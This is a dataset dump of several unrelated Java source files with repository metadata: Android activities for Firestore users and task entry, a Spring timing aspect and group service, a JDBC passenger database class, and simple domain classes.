Toast.makeText(MainActivity.this, "Hubo un error", Toast.LENGTH_SHORT).show();
}
});
}
public void deleteUser(View view){
db.collection("users").document("123456")
.delete()
.addOnSuccessListener(new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
Toast.makeText(MainActivity.this, "documento eliminado", Toast.LENGTH_SHORT).show();
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
Toast.makeText(MainActivity.this, "error", Toast.LENGTH_SHORT).show();
}
});
}
public void loginActivity(View view){
//Intent intent = new Intent(this, LoginActivity.class);
Intent intent = new Intent(this, LoginActivity.class);
startActivity(intent);
}
} | 6,967 | 0.583465 | 0.58246 | 151 | 45.145695 | 28.482224 | 121 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.794702 | false | false | 15 |
161e6bf18c4981b6e14d55c89b17c4f497b13d31 | 29,515,015,296,188 | 83bb04f6f5eb5c20b7c0e3ef8a06027d0fb0edde | /spring-boot-example/src/main/java/springboot/spring_boot_example/aspect/MethodExecutionTimeAspect.java | abdc015aea3fb6b401587ceb816bb41f2be7273d | [] | no_license | geallen/SpringExamples | https://github.com/geallen/SpringExamples | 0c49818dfd6b0857ae64ffdb756efe51bd28ac4f | dca3c584c5ffa870d7afac8f06b9a806b824b0a5 | refs/heads/master | 2021-07-04T01:25:58.907000 | 2020-10-14T11:08:12 | 2020-10-14T11:08:12 | 186,048,748 | 0 | 0 | null | false | 2020-10-14T11:08:13 | 2019-05-10T20:13:31 | 2020-04-27T09:15:57 | 2020-10-14T11:08:13 | 40,780 | 0 | 0 | 0 | JavaScript | false | false | package springboot.spring_boot_example.aspect;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.*;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.context.annotation.Configuration;
@Aspect
@Configuration
public class MethodExecutionTimeAspect {
private Logger logger = LoggerFactory.getLogger(this.getClass());
@Around("@annotation(springboot.spring_boot_example.aspect.TrackTime)")
public Object logMethodExecutionTime(ProceedingJoinPoint proceedingJoinPoint) throws Throwable{
long startTime = System.currentTimeMillis();
Object proceed = proceedingJoinPoint.proceed();
long totalTime = System.currentTimeMillis() - startTime;
logger.info("Time taken is : {} ms by method {} ", totalTime, proceedingJoinPoint.getSignature().getName());
return proceed;
}
}
| UTF-8 | Java | 858 | java | MethodExecutionTimeAspect.java | Java | [] | null | [] | package springboot.spring_boot_example.aspect;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.*;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.context.annotation.Configuration;
@Aspect
@Configuration
public class MethodExecutionTimeAspect {
private Logger logger = LoggerFactory.getLogger(this.getClass());
@Around("@annotation(springboot.spring_boot_example.aspect.TrackTime)")
public Object logMethodExecutionTime(ProceedingJoinPoint proceedingJoinPoint) throws Throwable{
long startTime = System.currentTimeMillis();
Object proceed = proceedingJoinPoint.proceed();
long totalTime = System.currentTimeMillis() - startTime;
logger.info("Time taken is : {} ms by method {} ", totalTime, proceedingJoinPoint.getSignature().getName());
return proceed;
}
}
| 858 | 0.785548 | 0.783217 | 29 | 28.586206 | 30.935436 | 110 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.275862 | false | false | 15 |
a7b8ab61ea313bf53212d7a84567181c65b865e7 | 2,164,663,562,445 | 4e4f862ad2ba4322ec7a284dcecc806c73773c26 | /Application/passenger/database/Database.java | 177138a2dbcd1b37e2ee142a78eb6a3b1752601e | [] | no_license | subin131/Bus-Ticketing-System | https://github.com/subin131/Bus-Ticketing-System | 109f614bf71189dfb9c53d79d68a124405ffe72e | c4d0094bf85c64f531fb3d87d0d8279fe0211f7e | refs/heads/master | 2023-08-13T01:33:11.762000 | 2021-09-10T04:35:27 | 2021-09-10T04:35:27 | 391,798,514 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package passenger.database;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import passenger.model.Passenger;
public class Database {
String url = "jdbc:mysql://localhost:4000/individual-project?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC";
String username = "root";
String password = "";
String name = "individual-project";
String sql = "";
Statement stmt;
static Connection con;
PreparedStatement statement;
ResultSet resultSet;
//creates a connection to the db at object creation
public Database() throws SQLException {
con = (Connection) DriverManager.getConnection(url, username, password);
}
// // adding the new passenger
public void addPassenger(Passenger p) throws SQLException {
sql= "Insert into passenger Values( ?,?,?,?);";
statement= con.prepareStatement(sql);
statement.setInt(1, p.getPassengerID());
statement.setString(2,p.getName());
statement.setInt(3,p.getContact());
statement.setString(4,p.getPassengerType());
statement.executeUpdate();
statement.close();
}
//retrieves all the passenger stored in db
public ArrayList<Passenger> viewPassenger() throws SQLException {
sql= "Select * from passenger;";
statement= con.prepareStatement(sql);
ArrayList<Passenger> allPassenger= new ArrayList<>();
resultSet= statement.executeQuery();
while(resultSet.next()){
int passId = resultSet.getInt(1);
String passengerName= resultSet.getString(2);
int contact = resultSet.getInt(3);
String passengerType = resultSet.getString(4);
allPassenger.add(new Passenger(passId,passengerName,contact,passengerType));
}
statement.close();
return allPassenger;
}
//
// //deletes a book from db according to book ID
public void deletePassenger( int passID) throws SQLException {
sql= "Delete from passenger where pass_id = ?;";
statement= con.prepareStatement(sql);
statement.setInt(1,passID);
statement.executeUpdate();
statement.close();
}
// //updates the name of passenger by id in db
public void updatePassenger(int userID,String uname) throws SQLException{
sql= "Update user set Username =? where UserID =?;";
statement= con.prepareStatement(sql);
statement.setString(1,uname);
statement.setInt(2,userID);
statement.executeUpdate();
statement.close();
}
//
// //updates the name of author of a book in db
// public void updateBookAuthor(String bookID,String value) throws SQLException{
// sql= "Update books set Author =? where Book_id =?;";
// statement= con.prepareStatement(sql);
//
// statement.setString(1,value);
// statement.setString(2,bookID);
//
// statement.executeUpdate();
// statement.close();
// }
//
// //updates the price of a book in db
// public void updateBook(String bookID,int value) throws SQLException{
// sql= "Update books set Price=? where Book_id =?;";
// statement= con.prepareStatement(sql);
//
// statement.setInt(1,value);
// statement.setString(2,bookID);
//
// statement.executeUpdate();
// statement.close();
// }
//
// //updates the availability of a book in db
// public void updateBook(String bookID, boolean value) throws SQLException{
// sql= "Update books set Available=? where Book_id =?;";
// statement= con.prepareStatement(sql);
//
// statement.setBoolean(1,value);
// statement.setString(2,bookID);
//
// statement.executeUpdate();
// statement.close();
// }
//
//closes the connection to the db
public static void closeConnection() throws SQLException {
con.close();
}
public void close() {
// TODO Auto-generated method stub
}
}
| UTF-8 | Java | 3,991 | java | Database.java | Java | [] | null | [] | package passenger.database;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import passenger.model.Passenger;
public class Database {
String url = "jdbc:mysql://localhost:4000/individual-project?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC";
String username = "root";
String password = "";
String name = "individual-project";
String sql = "";
Statement stmt;
static Connection con;
PreparedStatement statement;
ResultSet resultSet;
//creates a connection to the db at object creation
public Database() throws SQLException {
con = (Connection) DriverManager.getConnection(url, username, password);
}
// // adding the new passenger
public void addPassenger(Passenger p) throws SQLException {
sql= "Insert into passenger Values( ?,?,?,?);";
statement= con.prepareStatement(sql);
statement.setInt(1, p.getPassengerID());
statement.setString(2,p.getName());
statement.setInt(3,p.getContact());
statement.setString(4,p.getPassengerType());
statement.executeUpdate();
statement.close();
}
//retrieves all the passenger stored in db
public ArrayList<Passenger> viewPassenger() throws SQLException {
sql= "Select * from passenger;";
statement= con.prepareStatement(sql);
ArrayList<Passenger> allPassenger= new ArrayList<>();
resultSet= statement.executeQuery();
while(resultSet.next()){
int passId = resultSet.getInt(1);
String passengerName= resultSet.getString(2);
int contact = resultSet.getInt(3);
String passengerType = resultSet.getString(4);
allPassenger.add(new Passenger(passId,passengerName,contact,passengerType));
}
statement.close();
return allPassenger;
}
//
// //deletes a book from db according to book ID
public void deletePassenger( int passID) throws SQLException {
sql= "Delete from passenger where pass_id = ?;";
statement= con.prepareStatement(sql);
statement.setInt(1,passID);
statement.executeUpdate();
statement.close();
}
// //updates the name of passenger by id in db
public void updatePassenger(int userID,String uname) throws SQLException{
sql= "Update user set Username =? where UserID =?;";
statement= con.prepareStatement(sql);
statement.setString(1,uname);
statement.setInt(2,userID);
statement.executeUpdate();
statement.close();
}
//
// //updates the name of author of a book in db
// public void updateBookAuthor(String bookID,String value) throws SQLException{
// sql= "Update books set Author =? where Book_id =?;";
// statement= con.prepareStatement(sql);
//
// statement.setString(1,value);
// statement.setString(2,bookID);
//
// statement.executeUpdate();
// statement.close();
// }
//
// //updates the price of a book in db
// public void updateBook(String bookID,int value) throws SQLException{
// sql= "Update books set Price=? where Book_id =?;";
// statement= con.prepareStatement(sql);
//
// statement.setInt(1,value);
// statement.setString(2,bookID);
//
// statement.executeUpdate();
// statement.close();
// }
//
// //updates the availability of a book in db
// public void updateBook(String bookID, boolean value) throws SQLException{
// sql= "Update books set Available=? where Book_id =?;";
// statement= con.prepareStatement(sql);
//
// statement.setBoolean(1,value);
// statement.setString(2,bookID);
//
// statement.executeUpdate();
// statement.close();
// }
//
//closes the connection to the db
public static void closeConnection() throws SQLException {
con.close();
}
public void close() {
// TODO Auto-generated method stub
}
}
| 3,991 | 0.682786 | 0.677524 | 136 | 28.183823 | 24.570488 | 161 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.492647 | false | false | 15 |
36c4dbb0e6611becc59b0a3ff878fcc75fe8c0cd | 2,164,663,560,331 | 38388bf12a57530805c39a55d015f4c8677ff1e5 | /src/main/java/com/importsource/tinylogic/conf/PropertiesTools.java | 51432805e8f117f7538d1d0ba5b2622cfdea4aed | [] | no_license | CharlesHZF/tinylogic | https://github.com/CharlesHZF/tinylogic | 8090b62ab4a2160234fc07364e11b5e4866952ac | 6a94519efc8282488aea0b6e8e49d3df5ba8d6cd | refs/heads/master | 2021-01-19T01:23:48.362000 | 2016-06-06T09:44:34 | 2016-06-06T09:50:02 | 53,479,721 | 6 | 4 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.importsource.tinylogic.conf;
public class PropertiesTools {
public static String get(DefaultProperties props,String name,String defaultValue) {
return props.get(name, defaultValue);
}
} | UTF-8 | Java | 210 | java | PropertiesTools.java | Java | [] | null | [] | package com.importsource.tinylogic.conf;
public class PropertiesTools {
public static String get(DefaultProperties props,String name,String defaultValue) {
return props.get(name, defaultValue);
}
} | 210 | 0.771429 | 0.771429 | 7 | 28.285715 | 27.993439 | 84 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.571429 | false | false | 15 |
e2f17018ce1170fba8a5a605e683b074e2501c6b | 26,096,221,345,816 | 31b9a4b9d49eb61c170c459f5046777cbe7fa8ad | /githubbeijingqianfengtwoproject/千锋6组项目名方寸/src/main/java/com/qianfengsix/hotel/hotel/service/impl/GroupServiceImpl.java | 79b35211d94ec1387f9117ebed77e008217ab912 | [] | no_license | CorsairMaster/img-store | https://github.com/CorsairMaster/img-store | 9077b278c59f105735b86104c1b5c17ee6f0d0f5 | 064d955b88a1fac41f1f8dfc85dd217cc6804d2d | refs/heads/master | 2020-04-03T13:50:09.213000 | 2019-01-21T13:11:30 | 2019-01-21T13:11:30 | 155,300,334 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.qianfengsix.hotel.hotel.service.impl;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.qianfengsix.hotel.card.pojo.Group2;
import com.qianfengsix.hotel.hotel.pojo.Group;
import com.qianfengsix.hotel.hotel.service.GroupService;
import com.qianfengsix.hotel.mapper.GroupMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
/**
* Create by lcr on 2018/11/10 0010.
*/
@Service
public class GroupServiceImpl implements GroupService {
@Autowired
private GroupMapper groupMapper;
@Override
public List<Group> findByPerSonNum(int group_personnum) {
return groupMapper.findByPerSonNum(group_personnum);
}
@Override
public void addGroup(Group group) {
groupMapper.addGroup(group);
}
@Override
public List<Group2> getAllGroup(Integer pageNum, Integer pageSize) {
PageHelper.startPage(pageNum,pageSize);
List<Group2> list = groupMapper.findAllGroup();
PageInfo<Group2> pageInfo = new PageInfo<>(list);
return list;
}
}
| UTF-8 | Java | 1,148 | java | GroupServiceImpl.java | Java | [
{
"context": "Service;\n\nimport java.util.List;\n\n/**\n * Create by lcr on 2018/11/10 0010.\n */\n@Service\npublic class Gro",
"end": 486,
"score": 0.9994633197784424,
"start": 483,
"tag": "USERNAME",
"value": "lcr"
}
] | null | [] | package com.qianfengsix.hotel.hotel.service.impl;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.qianfengsix.hotel.card.pojo.Group2;
import com.qianfengsix.hotel.hotel.pojo.Group;
import com.qianfengsix.hotel.hotel.service.GroupService;
import com.qianfengsix.hotel.mapper.GroupMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
/**
* Create by lcr on 2018/11/10 0010.
*/
@Service
public class GroupServiceImpl implements GroupService {
@Autowired
private GroupMapper groupMapper;
@Override
public List<Group> findByPerSonNum(int group_personnum) {
return groupMapper.findByPerSonNum(group_personnum);
}
@Override
public void addGroup(Group group) {
groupMapper.addGroup(group);
}
@Override
public List<Group2> getAllGroup(Integer pageNum, Integer pageSize) {
PageHelper.startPage(pageNum,pageSize);
List<Group2> list = groupMapper.findAllGroup();
PageInfo<Group2> pageInfo = new PageInfo<>(list);
return list;
}
}
| 1,148 | 0.744774 | 0.730836 | 38 | 29.210526 | 22.838285 | 72 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | false | false | 15 |
21367731f582818d630c04862f57245b40eb2a4e | 20,126,216,792,105 | 0ecbb97a7087baed83d1ec49157e2052933ebb3a | /Maratona2/src/maratona2/domain/Team.java | 85576667d77c133d90d9fe6f88524441ae4285cd | [] | no_license | jjosenaldo/contest-scoreboard-database | https://github.com/jjosenaldo/contest-scoreboard-database | 1ac926ddef154fb096288e76c05b22c63d8204df | 12798622920f4474fc389178388f3613acafba4a | refs/heads/master | 2020-04-08T21:23:54.762000 | 2019-07-23T00:54:38 | 2019-07-23T00:54:38 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package maratona2.domain;
/**
*
* @author josenaldo
*/
public class Team extends Entity{
private int idcoach;
private String name;
private String college;
private String about;
public Team(int id)
{
super(id);
}
public Team(int idcoach, String name, String college, String about) {
this(-1, idcoach, name, college, about);
}
public Team(int idteam, int idcoach, String name, String college, String about) {
super(idteam);
this.idcoach = idcoach;
this.name = name;
this.college = college;
this.about = about;
}
public int getIdCoach() {
return idcoach;
}
public void setIdCoach(int idcoach) {
this.idcoach = idcoach;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getCollege() {
return college;
}
public void setCollege(String college) {
this.college = college;
}
public String getAbout()
{
return about;
}
public void setAbout(String about)
{
this.about = about;
}
@Override
public String toString()
{
return this.name;
}
}
| UTF-8 | Java | 1,462 | java | Team.java | Java | [
{
"context": ".\n */\npackage maratona2.domain;\n\n/**\n *\n * @author josenaldo\n */\npublic class Team extends Entity{\n private",
"end": 239,
"score": 0.9979511499404907,
"start": 230,
"tag": "USERNAME",
"value": "josenaldo"
}
] | null | [] | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package maratona2.domain;
/**
*
* @author josenaldo
*/
public class Team extends Entity{
private int idcoach;
private String name;
private String college;
private String about;
public Team(int id)
{
super(id);
}
public Team(int idcoach, String name, String college, String about) {
this(-1, idcoach, name, college, about);
}
public Team(int idteam, int idcoach, String name, String college, String about) {
super(idteam);
this.idcoach = idcoach;
this.name = name;
this.college = college;
this.about = about;
}
public int getIdCoach() {
return idcoach;
}
public void setIdCoach(int idcoach) {
this.idcoach = idcoach;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getCollege() {
return college;
}
public void setCollege(String college) {
this.college = college;
}
public String getAbout()
{
return about;
}
public void setAbout(String about)
{
this.about = about;
}
@Override
public String toString()
{
return this.name;
}
}
| 1,462 | 0.590971 | 0.589603 | 74 | 18.756756 | 18.852064 | 85 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.472973 | false | false | 15 |
dd006cc7e223cc4e899e186170c729d6ad1cb113 | 9,663,676,457,845 | 0f90f8363c91dbb9d32babf7cf788ca318e4bc6d | /src/main/java/com/soukiyaki/GameON/notifier/model/PushDto.java | 4c459c28c9a3d9aa40e53fb7eb91a56babb38954 | [] | no_license | JeremySomsouk/GameOn | https://github.com/JeremySomsouk/GameOn | b3e4274ac2758a9623fc641e9d367f49daca2053 | db4bb0bc47479582374e3e6b4f8c6e80dcf642d9 | refs/heads/master | 2022-10-20T22:56:13.624000 | 2019-05-23T10:12:49 | 2019-05-23T10:12:49 | 182,303,070 | 0 | 0 | null | false | 2022-10-05T19:23:00 | 2019-04-19T17:40:37 | 2019-05-23T10:12:56 | 2022-10-05T19:22:59 | 60 | 0 | 0 | 2 | Java | false | false | package com.soukiyaki.GameON.notifier.model;
import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.Setter;
@Getter
@Setter
@AllArgsConstructor
public class PushDto {
@JsonProperty("firebase_id")
private String firebaseId;
}
| UTF-8 | Java | 305 | java | PushDto.java | Java | [] | null | [] | package com.soukiyaki.GameON.notifier.model;
import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.Setter;
@Getter
@Setter
@AllArgsConstructor
public class PushDto {
@JsonProperty("firebase_id")
private String firebaseId;
}
| 305 | 0.8 | 0.8 | 15 | 19.333334 | 16.283598 | 53 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.4 | false | false | 15 |
3c9583a75032baf9ed25d88e25240e1b0241ddc0 | 3,350,074,553,364 | 01b29d785c5dd8fc60d0fbb93df3e1a3481ed0ee | /app/src/main/java/com/example/empmgtsystem/TaskList/AddTaskActivity.java | 5cd64e0ce90efe8c382af4bce36f6c1644ba7296 | [] | no_license | luongnguyen14021999/PersonalManagementApp | https://github.com/luongnguyen14021999/PersonalManagementApp | 9dad7e43148b736d46342d5618c6c42a26ad472b | bdf75be10a5da77a077f2b52e94ec75a2c62d382 | refs/heads/main | 2023-01-24T22:54:06.215000 | 2020-11-20T10:17:09 | 2020-11-20T10:17:09 | 314,517,938 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.empmgtsystem.TaskList;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.CompoundButton;
import android.widget.EditText;
import android.widget.Switch;
import android.widget.Toast;
import com.example.empmgtsystem.R;
public class AddTaskActivity extends AppCompatActivity {
Switch switch_Status;
EditText edit_Status;
EditText edit_Task;
EditText edit_Location;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_add_task);
initViews();
switch_Status = (Switch) findViewById(R.id.status);
edit_Status = (EditText) findViewById(R.id.editStatus);
switch_Status.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton compoundButton, boolean b) {
if(b) {
edit_Status.setText("completed");
} else {
edit_Status.setText("not completed");
}
}
});
}
public void initViews() {
edit_Task = findViewById(R.id.editTaskName);
edit_Location = findViewById(R.id.editLocation);
edit_Status = findViewById(R.id.editStatus);
}
public void btnAddTask (View view) {
String Task = edit_Task.getText().toString().trim();
String Location = edit_Location.getText().toString().trim();
String Status = edit_Status.getText().toString().trim();
if(Task.isEmpty()) {
edit_Task.setError("Enter Task...");
return;
}
if(Location.isEmpty()) {
edit_Location.setError("Enter Location...");
return;
}
if(Status.isEmpty()) {
edit_Status.setError("Enter Status...");
return;
}
DBManagerTask dbManagerTask = new DBManagerTask(this);
Task task = new Task(Task,Location,Status);
long result = dbManagerTask.addTaskRecord(task);
if(result != -1) {
Toast.makeText(this,"Added Sucessfully!",Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(this,"Something Wrong!",Toast.LENGTH_SHORT).show();
}
}
public void btnShowAllTask (View view) {
startActivity(new Intent(AddTaskActivity.this, ShowAllTaskActivity.class ));
}
} | UTF-8 | Java | 2,555 | java | AddTaskActivity.java | Java | [] | null | [] | package com.example.empmgtsystem.TaskList;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.CompoundButton;
import android.widget.EditText;
import android.widget.Switch;
import android.widget.Toast;
import com.example.empmgtsystem.R;
public class AddTaskActivity extends AppCompatActivity {
Switch switch_Status;
EditText edit_Status;
EditText edit_Task;
EditText edit_Location;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_add_task);
initViews();
switch_Status = (Switch) findViewById(R.id.status);
edit_Status = (EditText) findViewById(R.id.editStatus);
switch_Status.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton compoundButton, boolean b) {
if(b) {
edit_Status.setText("completed");
} else {
edit_Status.setText("not completed");
}
}
});
}
public void initViews() {
edit_Task = findViewById(R.id.editTaskName);
edit_Location = findViewById(R.id.editLocation);
edit_Status = findViewById(R.id.editStatus);
}
public void btnAddTask (View view) {
String Task = edit_Task.getText().toString().trim();
String Location = edit_Location.getText().toString().trim();
String Status = edit_Status.getText().toString().trim();
if(Task.isEmpty()) {
edit_Task.setError("Enter Task...");
return;
}
if(Location.isEmpty()) {
edit_Location.setError("Enter Location...");
return;
}
if(Status.isEmpty()) {
edit_Status.setError("Enter Status...");
return;
}
DBManagerTask dbManagerTask = new DBManagerTask(this);
Task task = new Task(Task,Location,Status);
long result = dbManagerTask.addTaskRecord(task);
if(result != -1) {
Toast.makeText(this,"Added Sucessfully!",Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(this,"Something Wrong!",Toast.LENGTH_SHORT).show();
}
}
public void btnShowAllTask (View view) {
startActivity(new Intent(AddTaskActivity.this, ShowAllTaskActivity.class ));
}
} | 2,555 | 0.622701 | 0.622309 | 89 | 27.719101 | 25.1168 | 95 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.539326 | false | false | 15 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.